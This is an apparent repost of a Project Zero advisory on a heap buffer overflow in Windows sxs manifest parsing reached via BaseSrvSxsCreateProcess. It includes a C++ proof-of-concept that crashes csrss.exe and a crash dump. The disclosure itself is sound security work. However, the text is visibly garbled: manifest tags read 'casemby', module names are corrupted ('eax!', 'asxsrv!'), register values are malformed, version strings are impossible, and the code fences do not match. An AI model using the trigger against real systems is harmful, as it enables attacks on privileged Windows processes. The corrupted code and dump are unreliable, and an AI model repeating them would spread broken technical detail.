

Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_identity Heap Buffer Overflow

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A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

tags | exploit, overflow, arbitrary

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Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_identity

## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to
execute arbitrary code with SYSTEM privileges.

## VULNERABILITY DETAILS
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The 'MaxLength'
field in one of the 'UNICODE_STRING' parameters of the 'BaseSrvSxsCreateActivationContextFromMessage' CSR
routine wasn't properly validated, and was later used by 'XMLParser_Element_doc_assembly_identity' as
the maximum size of a 'memory' destination buffer. The fix added an extra 'CarValidateMessageBuffer' call to
'BaseSrvSxsCreateActivationContextFromMessage'.

We've just discovered that 'BaseSrvSxsCreateActivationContextFromMessage' is not the only CSR routine that can
reach 'XMLParser_Element_doc_assembly_identity'. An attacker can trigger the same buffer overflow via
'BaseSrvSxsCreateProcess'.

1. https://googleprojectzero.github.io/0days-in-the-wild/0days-RCAs/2020/CVE-2020-1027.html

## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)

## REPRODUCTION CASE
1) Enable page heap verification for csrss.exe:
...
gflags /p /enable csrss.exe /full
...

2) Restart the machine.

3) Compile and run:
...
#pragma comment(lib, "ntdll")

#include <windows.h>
#include <winnt.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

typedef struct _SECTION_IMAGE_INFORMATION {
    PVOID EntryPoint;
    ULONG StackZeroBits;
    ULONG StackReserved;
    ULONG StackCommit;
    ULONG ImageSubsystem;
    WORD SubSystemVersionLow;
    WORD SubSystemVersionHigh;
    ULONG Unknown1;
    ULONG ImageCharacteristics;
    ULONG ImageMachineType;
    ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_INFORMATION {
    ULONG Size;
    HANDLE ProcessHandle;
    HANDLE ThreadHandle;
    CLIENT_ID ClientId;
    SECTION_IMAGE_INFORMATION ImageInformation;
    BYTE Unknown1[128];
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;

NTSTATUS (NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PVOID,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING);

NTSTATUS (NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
 ULONG,
 PRTL_USER_PROCESS_PARAMETERS,
 PSECURITY_DESCRIPTOR,
 PSECURITY_DESCRIPTOR,
 HANDLE,
 BOOLEAN,
 HANDLE,
 HANDLE,
 PRTL_USER_PROCESS_INFORMATION);

PVOID (NTAPI* CsrAllocateCaptureBuffer) (ULONG, ULONG);
VOID (NTAPI* CsrFreeCaptureBuffer) (PVOID);
NTSTATUS (NTAPI* CsrClientCallServer) (PVOID, PVOID, ULONG, ULONG);
NTSTATUS (NTAPI* CsrCaptureMessageString) (LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                  uint8_t* msg_field,
                  PCWSTR string,
                  size_t length = 0) {
    if (length == 0)
        length = lstrlenW(string);

    CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                           length * 2 + 2, (PSTR)msg_field);
}

int main() {
    HMODULE ntdll = LoadLibrary(L"ntdll");

#define INIT_PROC(name) \
    name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

    INIT_PROC(RtlCreateProcessParameters);
    INIT_PROC(RtlCreateUserProcess);

    INIT_PROC(CsrAllocateCaptureBuffer);
    INIT_PROC(CsrFreeCaptureBuffer);
```

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```
INIT_PROC(CsrClientCallServer);
INIT_PROC(CsrCaptureMessageString);

UNICODE_STRING image_path;
RTL_USER_PROCESS_PARAMETERS proc_params;
RTL_USER_PROCESS_INFORMATION proc_info = {0};

RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL, NULL, NULL, FALSE, NULL, NULL, &proc_info);

const size_t HEADER_SIZE = 0x40;
uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

SET_FIELD(2, proc_info.ClientId.UniqueProcess);
SET_FIELD(3, proc_info.ClientId.UniqueThread);

SET_FIELD(4, -1);
SET_FIELD(7, 1);
SET_FIELD(8, 0x20000);

std::string manifest =
    "casemby xmlns=urn:schemas-microsoft-com:asm.v1 "
    "manifestVersion='1.0'>"
    "casemby identity name='@' version='1.0.0.0'>"
    "</casemby>";
manifest.replace(manifest.find('@'), 1, 0x4000, 'A');

SET_FIELD(13, manifest.c_str());
SET_FIELD(14, manifest.size());

PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);

CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
CaptureString(capture_buffer, FIELD(24), L"\\x00\\x00", 2);
CaptureString(capture_buffer, FIELD(28), L"A");
SET_FIELD(28, 0xf000002);

CsrClientCallServer(msg, capture_buffer, 0x1001001d,
    sizeof(msg) - HEADER_SIZE);
}
...

The crash should look like to the following:
...
CONTEXT: 0000007c4afbfc00 -- (.cxr 0x7c4afbfc0)
rax=0000020e6515d000 rbx=00000000000004000 rcx=0000020e6515d010
rdx=ffffffff741fa rsi=0000020e652c48c0 rdi=0000000000000001
rip=00007ff825a35c53 rsp=0000007c4afbd338 rbp=0000007c4afbd80
r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558
r11=0000020e6f0d8ffc r12=0000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0         nv up ei pl zr na pe nc
cs=0033  eip=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy@0x113:
0033:00007ff8 25a35c53 092941f0      movaps  xmmword ptr [rcx+10h],xmm0
ds:002b:0000020e 6515d000-????????????????????????????????
Resetting default scope

WRITE_ADDRESS: 0000020e6515d000

EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
ExceptionAddress: 00007ff825a35c53 (ntdll!memcpy+0x0000000000000113)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
    Parameter[0]: 0000000000000001
    Parameter[1]: 0000020e6515d000
Attempt to write to address 0000020e6515d000

STACK_TEXT:
0000007c4afbd338 00007ff8 22df5a41 : 0000020e652c48c0 00000000 00000001 00000000 00000001 00000001 :
ntdll!memcpy@0x113
0000007c4afbd4d0 00007ff8 22e07b94 : 00007ff800000000 00000000 000000a8 0000020e652c48c0 0000020e652c48c0 :
eax!CNodeFactory::XMLParser_Element_doc_assembly_identity+0x4c1
0000007c4afbe300 00007ff8 22e1f405 : 0000020e652e7f20 0000020e652e7f20 00000000 00000000 00000000 :
eax!CNodeFactory::CreateNode@0xd34
0000007c4afbe7d0 00007ff8 22df8a33 : 0000020e00000000 0000020e652a8cc8 00000000 00000000 0000020e65166e20 :
eax!XMLParser::Run@0x8d6
0000007c4afbe8f0 00007ff8 22df7468 : 0000020e00000000 0000020e6527ac90 00000000 00000000 0000020e6527ac90 :
eax!SxspIncorporateAssembly@0x513
0000007c4afbea80 00007ff8 22df7cf6 : 0000000000000000 00000000 00000000 0000020e6527ac90 0000020e65167720 :
eax!SxspIncorporateAssembly@0x104
0000007c4afbeb00 00007ff8 22df3769 : 0000007c00000000 0000007c4afbfa0 00000000 00000000 0000020e65166e20 :
eax!SxspCloseManifestGraph@0xbe
0000007c4afbec00 00007ff8 22fb3eed : 0000000000000000 00000000 00000000 00000000 0000007c4afb3a0 :
eax!SxsGenerateActivationContext@0x339
0000007c4afbed00 00007ff8 22fb2405 : 0000007c4afb1f10 000004f7 0000000b 00000000 00000000 00000001 :
asxsrv!BaseSrvSxsCreateActivationContextFromStructEx@0x6ed
0000007c4afbf1a0 00007ff8 22fb1e91 : 0000020e56e00000 00000000 01080002 00000000 00000264 00000000 :
asxsrv!InternalSxsCreateProcess@0x545
0000007c4afbf690 00007ff8 230133c3 : 0000000000000000 0000007c4afb7f89 00000000 00000000 00000000 00000000 :
asxsrv!BaseSrvSxsCreateProcess@0x71
0000007c4afbf6c0 00007ff8 23036490 : 0000020effffffff 0000007c4afb7f88 0000020e00000000 0000020e00000001 :
baseesrv!BaseSrvCreateProcess2@0x1f3
0000007c4afb7f10 00007ff8 25a0265f : 0000000000000000 00000000 00000000 00000000 00000000 00000000 :
CSRSRV!CsrApiRequestThread@0x4d0
0000007c4afb7e90 00000000 00000000 : 0000000000000000 00000000 00000000 00000000 00000000 00000000 :
ntdll!RtlUserThreadStart@0x2f
...

## CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.

Found by: glazunov@google.com
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